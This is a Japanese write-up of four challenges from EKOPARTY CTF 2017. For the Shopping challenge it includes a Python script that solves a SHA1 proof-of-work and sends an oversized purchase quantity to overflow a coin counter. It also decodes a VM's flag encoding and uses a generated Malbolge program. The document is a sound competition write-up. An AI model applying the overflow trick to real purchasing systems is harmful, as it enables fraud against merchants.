この大会は2017/9/16 9:00(JST)~2017/9/17 21:00(JST)に開催されました。
今回もチームで参戦。結果は5803点で184チーム中15位でした。
自分で解けた問題をWriteupとして書いておきます。
Shopping (PWNING)
$ nc shopping.ctf.site 21111 Enter a raw string (max. 32 bytes) that meets the following condition: hex(sha1(input))[0:6] == 3e9fdf
まずこの問題を解く必要がある。その後、買い物のメニューに変わる。
Welcome to Ekoparty shopping Center Feel free to buy up to 5 items that you may like Use wisely your coins, have fun! You have 50 coins What do you wanna buy today? 1. t-shirt 10 2. short 20 3. stickers 1 4. flag ? 2 How many? 2
50コインではflagは購入できず。数値がマイナスの限界を超えて、プラスになることを考え、調整しながらコードを書く。
import socket import re import string import hashlib import itertools pattern = '\[0:6\] == (.+)' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('shopping.ctf.site', 21111)) data = s.recv(256) print data m = re.search(pattern, data) h_head = m.group(1) for c in itertools.product(string.printable, repeat=4): text = ''.join(c) if hashlib.sha1(text).hexdigest()[0:6] == h_head: ans = text break print ans s.sendall(ans + '\n') data = s.recv(2048) print data print '2' s.sendall('2\n') data = s.recv(2048) print data coin = (50 + 2**63) / 20 - 10000000 print coin s.sendall(str(coin) + '\n') data = s.recv(2048) print data print '4' s.sendall('4\n') data = s.recv(2048) print data print '1' s.sendall('1\n') data = s.recv(1024) print data data = s.recv(1024) print data
EKO{d0_y0u_even_m4th?}
Shopwn (PWNING)
ncの接続先以外、Shoppingと同じコードで解けた。
EKO{dude_where_is_my_leak?}
EKOVM (VM)
$ ./ekovm =[ Secure Flag Generator ]= [+] Type your flag: [+] Securing your flag [+] Flag secured: 052353120053246640010524440
毎回同じ値を入力しても出力結果は変わる。
■123の場合 044675504045476710046300114 007414450 ↓ 044675504 045476710 046300114 007414450 ■111の場合 043705360043705360043705360 007245540 ↓ 043705360 043705360 043705360 007245540 ■abcの場合 075203454075706730076412204 006241270 ↓ 075203454 075706730 076412204 006241270 ■flagの場合 117354350124105520113442074 120173244007624530 ↓ 117354350 124105520 113442074 120173244 007624530
数字9桁が1文字に対応しているようだ。さらにASCIIコード順に大きさは並んでいるが、幅は一定ではない。あとは、末尾が4になっている場合は、ASCIIコードが奇数の文字に対応している。
以上の特徴を踏まえ、問題の数字をASCIIコード表と見比べながら、EKO{xxx}の形式になるよう割り当てていく。
064325164 E 070762714 K 074006534 O 135340214 { 127270554 s 045162244 1 072374624 M 125051700 p 122026060 l 046574154 3 042135424 - 131507430 v 122633024 m 136752124 } 007461350
EKO{s1Mpl3-vm}
Malbolge (MISC)
$ nc malbolge.ctf.Send a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes) Bye bye!!!
調べたら、malbolgeという難解プログラミング言語があるらしい。
http://zb3.me/malbolge-tools/#generator で Welcome to EKOPARTY! と表示するコード生成する。
D'`_M?![m}YFWVCBu@,+*/_L&8$kGF3}BAzRb}=_):[Zp6WVlqpih.ONjiha'H^]\[Z~^W\[ZYRvVOTSLp3INGFjJ,BAe?'=<;_?8=<;4X216543,P0p(-,+*#G'&f|{"y?}|ut:[qvutml2poQPlejc)gfedFb[!_X]V[ZSRvP8TSLpJ2NMLEDhU
$ nc malbolge.ctf.Send a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes) D'`_M?![m}YFWVCBu@,+*/_L&8$kGF3}BAzRb}=_):[Zp6WVlqpih.ONjiha'H^]\[Z~^W\[ZYRvVOTSLp3INGFjJ,BAe?'=<;_?8=<;4X216543,P0p(-,+*#G'&f|{"y?}|ut:[qvutml2poQPlejc)gfedFb[!_X]V[ZSRvP8TSLpJ2NMLEDhU Running code... Welcome to EKOPARTY! Your flag is: EKO{0nly4nother3soteric1anguage}
EKO{0nly4nother3soteric1anguage}